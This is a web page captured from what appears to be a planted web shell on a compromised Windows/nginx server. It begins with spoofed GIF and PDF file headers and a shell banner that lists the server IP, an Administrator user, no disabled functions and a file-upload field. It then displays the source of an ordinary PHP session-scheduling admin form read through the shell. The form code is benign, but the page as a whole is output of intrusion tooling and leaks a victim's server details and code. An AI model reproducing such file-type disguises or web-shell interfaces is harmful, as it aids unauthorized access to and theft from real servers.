GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Scheduler/admin/session/ |
Upload File : |
<? // admin/session/sessionForm.phpinc // Display the session Add/Edit form. t_Begin(); // Begin TRACKing included file. require('sessionFormPreset.phpinc'); d_Var('$o',$o,''); d_Var('$f',$f,''); ?> <table><tr><td><fieldset><legend><? if ( $f['sessionId'] ) { ?>Edit<? } else { ?>Add<? } ?> Session</legend> <form name="form_session" id="id_form_session" action="<?=php_self()?>" method="post"> <input type="hidden" name="form" value="form_session"> <input type="hidden" name="uuid" value="<?=uuid()?>"> <input type="hidden" name="sessionId" id="id_sessionId" value="<?=htmlSafe($f['sessionId'])?>"> <? ?> <table> <? if ( isset($formError['YRTR']) ) { ?> <tr><td></td><td class="error"><?=$formError['YRTR']?></td></tr> <? } ?> <tr> <td class="label">YRTR</td> <td><input type="text" class="" name="YRTR" id="id_YRTR" value="<?=htmlSafe($f['YRTR'])?>" maxlength="5" style="width:3.48em;"></td> </tr> <? if ( isset($formError['sessionType']) ) { ?> <tr><td></td><td class="error"><?=$formError['sessionType']?></td></tr> <? } ?> <tr> <td class="label">Session type</td> <td> <? $sessionTypeQuery = 'SELECT sessiontypeId AS sessionType, sessiontypeCode, sessiontypeDescription FROM `sessiontype`'; $sessionTypeQuery .= ' ORDER BY sessiontypeCode'; $sessionTypeResult = query_do($sessionTypeQuery); $sessionTypeCount = $GLOBALS['_QUERY']['count']; ?> <select class="" name="sessionType" id="id_sessionType"> <option value=""></option> <? query_seek($sessionTypeResult, 0); while ($sessionTypeInfo = query_row($sessionTypeResult)) { if ( $sessionTypeCount == 1 ) $f['sessionType'] = $sessionTypeInfo['sessionType']; ?> <option value="<?=$sessionTypeInfo['sessionType']?>"<? if ( $f['sessionType'] == $sessionTypeInfo['sessionType'] ) { ?> selected<? } ?>><?=htmlSafe($sessionTypeInfo['sessiontypeDescription'])?></option> <? } ?> </select> </td> </tr> <? if ( isset($formError['sessionName']) ) { ?> <tr><td></td><td class="error"><?=$formError['sessionName']?></td></tr> <? } ?> <tr> <td class="label">Name</td> <td><input type="text" class="" name="sessionName" id="id_sessionName" value="<?=htmlSafe($f['sessionName'])?>" maxlength="75" style="width:21.65em;"></td> </tr> <? if ( isset($formError['sessionDescription']) ) { ?> <tr><td></td><td class="error"><?=$formError['sessionDescription']?></td></tr> <? } ?> <tr> <td class="label">Description</td> <td><input type="text" class="" name="sessionDescription" id="id_sessionDescription" value="<?=htmlSafe($f['sessionDescription'])?>" maxlength="255" style="width:21.65em;"></td> </tr> <? if ( isset($formError['sessionStart']) ) { ?> <tr><td></td><td class="error"><?=$formError['sessionStart']?></td></tr> <? } else { $f['sessionStart'] = valid_date($f['sessionStart'],'m/d/y'); } ?> <tr> <td class="label">Start date</td> <td><input type="text" class="" name="sessionStart" id="id_sessionStart" value="<?=htmlSafe($f['sessionStart'],'m/d/y')?>" maxlength="10" style="width:5.5em;"></td> </tr> <? if ( isset($formError['sessionEnd']) ) { ?> <tr><td></td><td class="error"><?=$formError['sessionEnd']?></td></tr> <? } else { $f['sessionEnd'] = valid_date($f['sessionEnd'],'m/d/y'); } ?> <tr> <td class="label">End date</td> <td><input type="text" class="" name="sessionEnd" id="id_sessionEnd" value="<?=htmlSafe($f['sessionEnd'],'m/d/y')?>" maxlength="10" style="width:5.5em;"></td> </tr> <tr> <td class="center" colspan="2"> <? if ( $f['sessionId'] ) { ?> <input type="submit" name="task" value="Update session"> <? } else { ?> <input type="submit" name="task" value="Add session"> <? } if ( $f['form'] != 'form_session' || isset($formError) || isset($f['postId']) ) { ?> <input type="submit" name="task" value="Cancel"> <? } else { ?> <input type="submit" name="task" value="Done"> <? } ?> </td> </tr> </table> </form> </fieldset></td></tr></table> <? t_End(); // End TRACKing included file. ?>